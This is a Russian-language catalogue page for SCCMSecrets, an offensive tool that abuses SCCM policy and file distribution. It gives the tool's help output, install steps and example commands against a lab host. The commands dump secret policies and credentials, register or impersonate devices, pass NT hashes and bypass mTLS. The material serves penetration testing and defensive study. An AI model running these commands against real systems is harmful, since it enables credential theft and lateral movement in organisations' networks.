Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SCCMSecrets — SCCMSecrets.py нацелен на эксплуатацию распространения политик SCCM для сбора учётных данных, получения начального доступа и горизонтального перемещения. | Kitploit
Инструменты/GitHubGitHub/synacktiv/sccmsecrets
Аутентификация и авторизацияРазведкаАтаки на ПаролиЭксплуатацияЛатеральное перемещениеСбор информацииПост-эксплуатацияНеправильная Конфигурация
GitHubsynacktiv/sccmsecrets

SCCMSecrets

SCCMSecrets.py нацелен на эксплуатацию распространения политик SCCM для сбора учётных данных, получения начального доступа и горизонтального перемещения.

Репозиторий
273339 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

SCCMSecrets

SCCMSecrets.py — это инструмент для эксплуатации политик SCCM. Он выходит за рамки извлечения учётных данных NAA и нацелен на комплексный подход к эксплуатации политик SCCM. Инструмент может запускаться с различных уровней привилегий и пытается выявить потенциальные ошибки конфигурации, связанные с распространением политик. Более подробная информация об инструменте и его использовании доступна в соответствующей статье: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial

Доступны две подкоманды: policies и files.

Policies

Эта подкоманда взаимодействует с точкой управления SCCM для получения содержимого всех секретных политик (включая конфигурацию NAA, последовательности задач, содержащие учётные данные, или переменные коллекций). Для этого необходимо одобренное устройство SCCM, которое можно получить тремя способами.

  • Если вы не указываете учётную запись компьютера, SCCMSecrets попытается зарегистрировать устройство и воспользоваться автоматическим одобрением устройств. Это (нестандартная) конфигурация SCCM, которая автоматически присваивает статус «Одобрено» новым устройствам, зарегистрированным анонимно.
  • Если вы указываете учётную запись компьютера, SCCMSecrets зарегистрирует новое устройство через аутентифицированную конечную точку регистрации. По умолчанию SCCM присваивает статус «Одобрено» устройствам, зарегистрированным через эту конечную точку.
  • Если указать флаг --altauth, SCCMSecrets воспользуется альтернативной конечной точкой аутентификации, что позволяет обойти требования mTLS и получить одобренное устройство без учётных данных и без ошибки конфигурации автоматического одобрения устройств (подробнее здесь). Это работает только в том случае, если точка управления настроена на использование HTTPS, И сайт SCCM настроен на принудительное использование HTTPS на уровне всего сайта (если точка управления использует HTTPS, но сайт допускает как HTTP, так и HTTPS, устройства не одобряются автоматически).
  • Вы также можете указать существующее устройство (--use-existing-device). Этот аргумент ожидает каталог, содержащий файл guid.txt (GUID устройства) и файл key.pem (закрытый ключ устройства). Это может быть устройство, созданное при предыдущем выполнении SCCMSecrets, или устройство, соответствующее скомпрометированному легитимному клиенту SCCM.

Обратите внимание, что политики SCCM связаны с коллекциями. Регистрация нового устройства поместит его в коллекции по умолчанию — таким образом, будут получены только секретные политики из коллекций по умолчанию. Именно поэтому маскировка под скомпрометированный легитимный клиент SCCM с помощью --use-existing-device может быть интересной. Такой легитимный клиент может входить в пользовательские коллекции, связанные с дополнительными секретными политиками.

Результаты будут сохранены в подкаталоге каталога loot (формат: [timestamp]_policies).

root@kitploit:~
$ python3 SCCMSecrets.py policies -h
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py policies [OPTIONS]                                                                                                                                                                              
                                                                                                                                                                                                                       
 Dump secret policies from an SCCM Management Point                                                                                                                                                                    
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --management-point     -mp      TEXT     The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                             │
│ *  --client-name          -cn      TEXT     [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required]                                                │
│    --machine-name         -u       TEXT     [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval                                                           │
│    --machine-pass         -p       TEXT     [Optional] The password for the machine account                                                                                                                         │
│    --machine-hash         -H       TEXT     [Optional] The NT hash for the machine account                                                                                                                          │
│    --registration-sleep   -rs      INTEGER  [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to   │
│                                             device collections (3 minutes by default, may need to be increased)                                                                                                     │
│                                             [default: 180]                                                                                                                                                          │
│    --use-existing-device  -d       TEXT     [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it        │
│                                             expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│                                             be provided to SCCMSecrets (but does not have to match the one of the existing device)                                                                                  │
│    --pki-cert             -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication       │
│    --pki-key              -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                 │
│    --altauth              -a                [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│                                             only works when the MP uses HTTPS AND HTTPS is enforced site-wide                                                                                                       │
│    --verbose              -v                [Optional] Enable verbose output                                                                                                                                        │
│    --help                 -h                Show this message and exit.                                                                                                                                             │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

Files

Эта подкоманда индексирует файлы, хранящиеся на точке распространения, и загружает интересные из них. SCCMSecrets сначала попытается определить, включён ли анонимный доступ (нестандартная конфигурация). Если это так, файлы можно индексировать и загружать без аутентификации. В противном случае потребуются учётные данные домена.

Можно загружать файлы по расширению. SCCMSecrets проиндексирует файлы всех пакетов, размещённых на точке распространения (в результате будет создан файл index.txt в формате Unix tree), и загрузит файлы с указанными расширениями. Если указать пустой список расширений, будет выполнена только индексация файлов. В обоих случаях из созданного индексного файла можно использовать флаг --urls для загрузки конкретных интересующих файлов (без повторного индексирования).

Обратите внимание, что требования mTLS, если они реализованы, можно обойти, указав флаг --nocert.

Результаты будут сохранены в подкаталоге каталога loot (формат: [timestamp]_files).

root@kitploit:~
$ python3 SCCMSecrets.py files --help
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py files [OPTIONS]                                                                                                                                                                                 
                                                                                                                                                                                                                       
 Dump interesting files from an SCCM Distribution Point                                                                                                                                                                
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --distribution-point  -dp      TEXT     An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                                      │
│    --username            -u       TEXT     [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access                                               │
│    --password            -p       TEXT     [Optional] The password for the domain account                                                                                                                           │
│    --hash                -H       TEXT     [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852)                                                                                    │
│    --extensions          -e       TEXT     [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not         │
│                                            download anything, and only index files                                                                                                                                  │
│                                            [default: .ps1, .bat, .xml, .txt, .pfx]                                                                                                                                  │
│    --urls                -f       TEXT     [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│                                            want to download by extension, but rather specific known files                                                                                                           │
│    --max-recursion       -r       INTEGER  [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10]                                                                     │
│    --pki-cert            -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication      │
│    --pki-key             -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                  │
│    --nocert              -n                [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements                                                                                  │
│    --verbose             -v                [Optional] Enable verbose output                                                                                                                                         │
│    --help                -h                Show this message and exit.                                                                                                                                              │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

About HTTPS enforcement

По умолчанию клиенты могут взаимодействовать со своей точкой управления или точкой распространения по обычному HTTP. Однако установка SCCM может быть настроена более безопасно с принудительным использованием HTTPS. В этом случае (для точки управления, точки распространения или обеих) SCCM потребует аутентификацию клиента с использованием внутреннего сертификата PKI с назначением «аутентификация клиента».

Выполнить описанные выше атаки по-прежнему возможно — однако необходимо указать действительный сертификат PKI через флаги --pki-cert и --pki-key (в формате PEM). URL-адреса точки управления / точки распространения также должны начинаться с https://. Обратите внимание, что флаги --altauth (для политик) и --nocert (для файлов) позволяют обойти аутентификацию mTLS (подробнее здесь).

Installation

Вы можете установить SCCMSecrets.py, клонировав репозиторий и установив зависимости.

root@kitploit:~
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

Examples

Ниже приведены некоторые примеры команд.

Policies

Получение секретных политик без указания учётной записи компьютера. Будет предпринята попытка воспользоваться ошибкой конфигурации автоматического одобрения устройств (нестандартная конфигурация)

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'

Получение секретных политик с указанием учётной записи компьютера. Это будет работать в конфигурациях SCCM по умолчанию

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'

Получение секретных политик уже существующего устройства. Каталог compromised_device содержит файлы guid.txt и key.pem.

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/

Получение секретных политик, когда точка управления принудительно использует HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem

Получение секретных политик с использованием альтернативной конечной точки аутентификации, позволяющей обойти аутентификацию mTLS и получить одобренное устройство без предоставления учётных данных (подробнее здесь). Работает только тогда, когда точка управления использует HTTPS и HTTPS принудительно используется на уровне всего сайта

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth

Files

Получение файлов точки распространения без предоставления учётных данных. Будет предпринята попытка воспользоваться анонимным доступом к точке распространения (нестандартная конфигурация)

root@kitploit:~
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab

Получение файлов точки распространения с учётными данными. Это будет работать в конфигурациях SCCM по умолчанию

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'

Получение файлов с определённым списком расширений. Аутентификация с использованием хеша учётной записи компьютера

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

Получение конкретных файлов с точки распространения путём указания списка URL-адресов (по одному в строке)

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst

Получение файлов точки распространения, когда точка распространения принудительно использует HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem

Обход аутентификации mTLS, когда точка распространения принудительно использует HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert
Скачать инструмент